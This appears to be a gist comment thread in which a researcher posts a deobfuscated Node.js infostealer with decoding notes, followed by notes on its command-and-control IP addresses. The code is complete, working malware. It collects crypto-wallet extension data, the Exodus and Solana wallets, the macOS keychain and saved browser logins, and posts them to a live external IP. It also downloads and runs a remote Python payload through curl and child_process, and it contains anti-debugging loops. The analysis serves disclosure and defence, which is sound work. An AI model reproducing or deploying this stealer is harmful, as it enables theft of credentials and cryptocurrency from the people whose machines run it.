|
// Found here: |
|
// https://gist.github.com/jbrit/9a6525d086411a0fcffea202f368e780#file-initial-obfuscated-iife-js |
|
// All I did was clean this up a bit more, follow the IP addresses that are in the file, downloaded two separate payloads |
|
// and then ran one of them through Cyberchef to get the resulting python script in the other file. |
|
// Just needed to do Reverse by char -> Base64 decode -> Zlib inflate -> Find + replace `exec(_)(b'` and `'))` |
|
// about ~30-40 times. |
|
|
|
const fs = require("fs"); |
|
const os = require("os"); |
|
const path = require("path"); |
|
const request = require("request"); |
|
const v = require("child_process").exec; |
|
const v2 = os.hostname(); |
|
const v3 = os.platform(); |
|
const v4 = os.homedir(); |
|
const v5 = os.tmpdir(); |
|
const vF = p => p.replace(/^~([a-z]+|\/)/, (p2, p3) => p3 === "/" ? v4 : path.dirname(v4) + "/" + p3); |
|
function f(p4) { |
|
try { |
|
fs.accessSync(p4); |
|
return true; |
|
} catch (_0x4e9018) { |
|
return false; |
|
} |
|
} |
|
const v6 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"]; |
|
const v7 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"]; |
|
const v8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"]; |
|
const v9 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"]; |
|
const vF2 = async (p5, p6, p7, p8) => { |
|
let v10; |
|
if (!p5 || p5 === "") { |
|
return []; |
|
} |
|
try { |
|
if (!f(p5)) { |
|
return []; |
|
} |
|
} catch (_0x24d2d0) { |
|
return []; |
|
} |
|
if (!p6) { |
|
p6 = ""; |
|
} |
|
let v11 = []; |
|
for (let v12 = 0; v12 < 200; v12++) { |
|
const v13 = p5 + "/" + (v12 === 0 ? "Default" : "Profile " + v12) + "/Local Extension Settings"; |
|
for (let v14 = 0; v14 < v9.length; v14++) { |
|
let v15 = v13 + "/" + v9[v14]; |
|
if (f(v15)) { |
|
let v16 = []; |
|
try { |
|
v16 = fs.readdirSync(v15); |
|
} catch (_0x41198b) { |
|
v16 = []; |
|
} |
|
v16.forEach(async p9 => { |
|
let v17 = path.join(v15, p9); |
|
try { |
|
let v18 = fs.statSync(v17); |
|
if (v18.isDirectory()) { |
|
return; |
|
} |
|
const v19 = { |
|
filename: "391_" + p6 + v12 + "_" + v9[v14] + "_" + p9 |
|
}; |
|
v11.push({ |
|
value: fs.createReadStream(v17), |
|
options: v19 |
|
}); |
|
} catch (_0x53bee5) {} |
|
}); |
|
} |
|
} |
|
} |
|
if (p7 && (v10 = v4 + "/.config/solana/id.json", fs.existsSync(v10))) { |
|
try { |
|
const v20 = { |
|
filename: "solana_id.txt" |
|
}; |
|
v11.push({ |
|
value: fs.createReadStream(v10), |
|
options: v20 |
|
}); |
|
} catch (_0x1b2cb4) {} |
|
} |
|
vF4(v11, p8); |
|
return v11; |
|
}; |
|
const vF3 = p10 => { |
|
let v21 = ""; |
|
let v22 = []; |
|
if (v3[0] == "w") { |
|
v21 = vF("~/") + "/AppData/Roaming/Exodus/exodus.wallet"; |
|
} else if (v3[0] == "d") { |
|
v21 = vF("~/") + "/Library/Application Support/exodus.wallet"; |
|
} else { |
|
v21 = vF("~/") + "/.config/Exodus/exodus.wallet"; |
|
} |
|
if (f(v21)) { |
|
let v23 = []; |
|
try { |
|
v23 = fs.readdirSync(v21); |
|
} catch (_0x147a28) { |
|
v23 = []; |
|
} |
|
v23.forEach(async p11 => { |
|
let v24 = path.join(v21, p11); |
|
try { |
|
const v25 = { |
|
filename: "391_" + p11 |
|
}; |
|
v22.push({ |
|
value: fs.createReadStream(v24), |
|
options: v25 |
|
}); |
|
} catch (_0x50ee7) {} |
|
}); |
|
} |
|
vF4(v22, p10); |
|
return v22; |
|
}; |
|
const vF4 = (p12, p13) => { |
|
const v26 = { |
|
type: "39" |
|
}; |
|
v26.hid = "391_" + v2; |
|
v26.uts = p13; |
|
v26.multi_file = p12; |
|
try { |
|
if (p12.length > 0) { |
|
const v27 = { |
|
url: "http://45.128.52.14:1224/uploads", |
|
formData: v26 |
|
}; |
|
request.post(v27, (p14, p15, p16) => {}); |
|
} |
|
} catch (_0x9a13cd) {} |
|
}; |
|
const vF5 = async (p17, p18, p19) => { |
|
try { |
|
let v28 = ""; |
|
v28 = v3[0] == "d" ? vF("~/") + "/Library/Application Support/" + p17[1] : v3[0] == "l" ? vF("~/") + "/.config/" + p17[2] : vF("~/") + "/AppData/" + p17[0] + "/User Data"; |
|
vF2(v28, p18 + "_", p18 == 0, p19); |
|
} catch (_0x3097fe) {} |
|
}; |
|
const vF6 = async p20 => { |
|
let v29 = []; |
|
let v30 = v4 + "/Library/Keychains/login.keychain"; |
|
if (fs.existsSync(v30)) { |
|
try { |
|
const v31 = { |
|
filename: "logkc-db" |
|
}; |
|
v29.push({ |
|
value: fs.createReadStream(v30), |
|
options: v31 |
|
}); |
|
} catch (_0x290586) {} |
|
} else { |
|
v30 += "-db"; |
|
if (fs.existsSync(v30)) { |
|
try { |
|
const v32 = { |
|
filename: "logkc-db" |
|
}; |
|
v29.push({ |
|
value: fs.createReadStream(v30), |
|
options: v32 |
|
}); |
|
} catch (_0x39b9a9) {} |
|
} |
|
} |
|
try { |
|
let v33 = v4 + "/Library/Application Support/Google/Chrome"; |
|
if (f(v33)) { |
|
for (let v34 = 0; v34 < 200; v34++) { |
|
const v35 = v33 + "/" + (v34 === 0 ? "Default" : "Profile " + v34) + "/Login Data"; |
|
try { |
|
if (!f(v35)) { |
|
continue; |
|
} |
|
const v36 = v33 + "/ld_" + v34; |
|
const v37 = { |
|
filename: "pld_" + v34 |
|
}; |
|
if (f(v36)) { |
|
v29.push({ |
|
value: fs.createReadStream(v36), |
|
options: v37 |
|
}); |
|
} else { |
|
fs.copyFile(v35, v36, p21 => { |
|
const v38 = { |
|
filename: "pld_" + v34 |
|
}; |
|
let v39 = [{ |
|
value: fs.createReadStream(v35), |
|
options: v38 |
|
}]; |
|
vF4(v39, p20); |
|
}); |
|
} |
|
} catch (_0x124d18) {} |
|
} |
|
} |
|
} catch (_0x52b842) {} |
|
try { |
|
let v40 = v4 + "/Library/Application Support/BraveSoftware/Brave-Browser"; |
|
if (f(v40)) { |
|
for (let v41 = 0; v41 < 200; v41++) { |
|
const v42 = v40 + "/" + (v41 === 0 ? "Default" : "Profile " + v41); |
|
try { |
|
if (!f(v42)) { |
|
continue; |
|
} |
|
const v43 = v42 + "/Login Data"; |
|
const v44 = { |
|
filename: "brld_" + v41 |
|
}; |
|
if (f(v43)) { |
|
v29.push({ |
|
value: fs.createReadStream(v43), |
|
options: v44 |
|
}); |
|
} else { |
|
fs.copyFile(v42, v43, p22 => { |
|
const v45 = { |
|
filename: "brld_" + v41 |
|
}; |
|
let v46 = [{ |
|
value: fs.createReadStream(v42), |
|
options: v45 |
|
}]; |
|
vF4(v46, p20); |
|
}); |
|
} |
|
} catch (_0x170d80) {} |
|
} |
|
} |
|
} catch (_0x47d669) {} |
|
vF4(v29, p20); |
|
return v29; |
|
}; |
|
const vF7 = async (p23, p24, p25) => { |
|
let v47 = []; |
|
let v48 = ""; |
|
v48 = v3[0] == "d" ? vF("~/") + "/Library/Application Support/" + p23[1] : v3[0] == "l" ? vF("~/") + "/.config/" + p23[2] : vF("~/") + "/AppData/" + p23[0] + "/User Data"; |
|
let v49 = v48 + "/Local State"; |
|
if (fs.existsSync(v49)) { |
|
try { |
|
const v50 = { |
|
filename: p24 + "_lst" |
|
}; |
|
v47.push({ |
|
value: fs.createReadStream(v49), |
|
options: v50 |
|
}); |
|
} catch (_0x371935) {} |
|
} |
|
try { |
|
if (f(v48)) { |
|
for (let v51 = 0; v51 < 200; v51++) { |
|
const v52 = v48 + "/" + (v51 === 0 ? "Default" : "Profile " + v51); |
|
try { |
|
if (!f(v52)) { |
|
continue; |
|
} |
|
const v53 = v52 + "/Login Data"; |
|
if (!f(v53)) { |
|
continue; |
|
} |
|
const v54 = { |
|
filename: p24 + "_" + v51 + "_uld" |
|
}; |
|
v47.push({ |
|
value: fs.createReadStream(v53), |
|
options: v54 |
|
}); |
|
} catch (_0x2c1a8c) {} |
|
} |
|
} |
|
} catch (_0x377318) {} |
|
vF4(v47, p25); |
|
return v47; |
|
}; |
|
let v55 = 0; |
|
(function () { |
|
const vF8 = function () { |
|
let v56; |
|
try { |
|
v56 = Function("return (function() {}.constructor(\"return this\")( ));")(); |
|
} catch (_0xbb82da) { |
|
v56 = window; |
|
} |
|
return v56; |
|
}; |
|
const vVF8 = vF8(); |
|
vVF8.setInterval(f3, 4000); |
|
})(); |
|
const vF9 = async p26 => { |
|
v("tar -xf " + p26 + " -C " + v4, (p27, p28, p29) => { |
|
if (p27) { |
|
fs.rmSync(p26); |
|
v55 = 0; |
|
return; |
|
} |
|
fs.rmSync(p26); |
|
vF11(); |
|
}); |
|
}; |
|
const vF10 = () => { |
|
const v57 = v5 + "\\p.zi"; |
|
const v58 = v5 + "\\p2.zip"; |
|
if (v55 >= 51476596) { |
|
return; |
|
} |
|
if (fs.existsSync(v57)) { |
|
try { |
|
var v59 = fs.statSync(v57); |
|
if (v59.size >= 51476596) { |
|
v55 = v59.size; |
|
fs.rename(v57, v58, p30 => { |
|
if (p30) { |
|
throw p30; |
|
} |
|
vF9(v58); |
|
}); |
|
} else { |
|
if (v55 < v59.size) { |
|
v55 = v59.size; |
|
} else { |
|
fs.rmSync(v57); |
|
v55 = 0; |
|
} |
|
f2(); |
|
} |
|
} catch (_0x246124) {} |
|
} else { |
|
v("curl -Lo \"" + v57 + "\" \"http://45.128.52.14:1224/pdown\"", (p31, p32, p33) => { |
|
if (p31) { |
|
v55 = 0; |
|
f2(); |
|
return; |
|
} |
|
try { |
|
v55 = 51476596; |
|
fs.renameSync(v57, v58); |
|
vF9(v58); |
|
} catch (_0x190b4a) {} |
|
}); |
|
} |
|
}; |
|
function f2() { |
|
setTimeout(() => { |
|
vF10(); |
|
}, 20000); |
|
} |
|
const vF11 = async () => await new Promise((p34, p35) => { |
|
if (v3[0] == "w") { |
|
if (fs.existsSync(v4 + "\\.pyp\\python.exe")) { |
|
(() => { |
|
const v60 = v4 + "/.sysinfo"; |
|
const v61 = "\"" + v4 + "\\.pyp\\python.exe\" \"" + v60 + "\""; |
|
try { |
|
fs.rmSync(v60); |
|
} catch (_0x54d31e) {} |
|
request.get("http://45.128.52.14:1224/client/39/391", (p36, p37, p38) => { |
|
if (!p36) { |
|
try { |
|
fs.writeFileSync(v60, p38); |
|
v(v61, (p39, p40, p41) => {}); |
|
} catch (_0x1e7a7a) {} |
|
} |
|
}); |
|
})(); |
|
} else { |
|
vF10(); |
|
} |
|
} else { |
|
(() => { |
|
request.get("http://45.128.52.14:1224/client/39/391", (p42, p43, p44) => { |
|
if (!p42) { |
|
fs.writeFileSync(v4 + "/.sysinfo", p44); |
|
v("python3 \"" + v4 + "/.sysinfo\"", (p45, p46, p47) => {}); |
|
} |
|
}); |
|
})(); |
|
} |
|
}); |
|
var v62 = 0; |
|
const vF12 = async () => { |
|
try { |
|
const v63 = Math.round(new Date().getTime() / 1000); |
|
await (async () => { |
|
try { |
|
await vF5(v7, 0, v63); |
|
await vF5(v6, 1, v63); |
|
await vF5(v8, 2, v63); |
|
vF3(v63); |
|
if (v3[0] == "w") { |
|
await vF2(vF("~/") + "/AppData/Local/Microsoft/Edge/User Data", "3_", false, v63); |
|
} |
|
if (v3[0] == "d") { |
|
await vF6(v63); |
|
} else { |
|
await vF7(v7, 0, v63); |
|
await vF7(v6, 1, v63); |
|
await vF7(v8, 2, v63); |
|
} |
|
} catch (_0x325352) {} |
|
})(); |
|
vF11(); |
|
} catch (_0x2fefa3) {} |
|
}; |
|
vF12(); |
|
let vSetInterval = setInterval(() => { |
|
if ((v62 += 1) < 2) { |
|
vF12(); |
|
} else { |
|
clearInterval(vSetInterval); |
|
} |
|
}, 300000); |
|
function f3(p48) { |
|
const v64 = { |
|
zzMJf: "counter", |
|
lfmNV: function (p49, p50) { |
|
return p49 + p50; |
|
}, |
|
WqqkN: "action", |
|
jAnyc: function (p51, p52) { |
|
return p51 + p52; |
|
} |
|
}; |
|
v64.PrXur = "AKsJA"; |
|
function f4(p53) { |
|
if (typeof p53 === "string") { |
|
return function (p54) {}.constructor("while (true) {}").apply("counter"); |
|
} else if (("" + p53 / p53).length !== 1 || p53 % 20 === 0) { |
|
(function () { |
|
return true; |
|
}).constructor("debugger").call("action"); |
|
} else { |
|
(function () { |
|
return false; |
|
}).constructor("debugger").apply("stateObject"); |
|
} |
|
f4(++p53); |
|
} |
|
try { |
|
if (p48) { |
|
if (v64.PrXur === "rKyka") { |
|
_0x2a5b54("0"); |
|
} else { |
|
return f4; |
|
} |
|
} else { |
|
f4(0); |
|
} |
|
} catch (_0x222271) {} |
|
} |
After deobfuscating all the py payloads, some embedded inside another (detailed here: https://gist.github.com/jbrit/9a6525d086411a0fcffea202f368e780#gistcomment-5301740)
I found 4 IP addresses associated in the whole code
45.128.52.14
138.201.199.46
95.164.7.171
10.10.51.212 (This is a private IP, was probably used during testing)
While the first 3 are supposed to be used for delivering the payload and C2, the last one (which is non routable) was probably used during testing of the malware. It was commented out in the code.
The 138.201.199.46 IP address belongs to a cloud provider called Hetzner Online, in Germany.
The other two belongs to the same AS, Stark Industries Solutions Ltd. (One in Switzerland, one in Netherlands).
However the non-routable one seems a bit interesting. 10.10.51.212. It's in 10.10.51.0/24. Which is a bit weird coz I have seen this IP space being used only in Cisco WLC and NGC.
So our threat actor had access to an enterprise grade network infrastructure. Which is probably natural if you think the two IPs on Stark Industries ASN are self-hosted and not on cloud. But then again, threat actors using enterprise grade hardware can mean two things:
Brb, imma trying using NMAP on the IPs to get more info.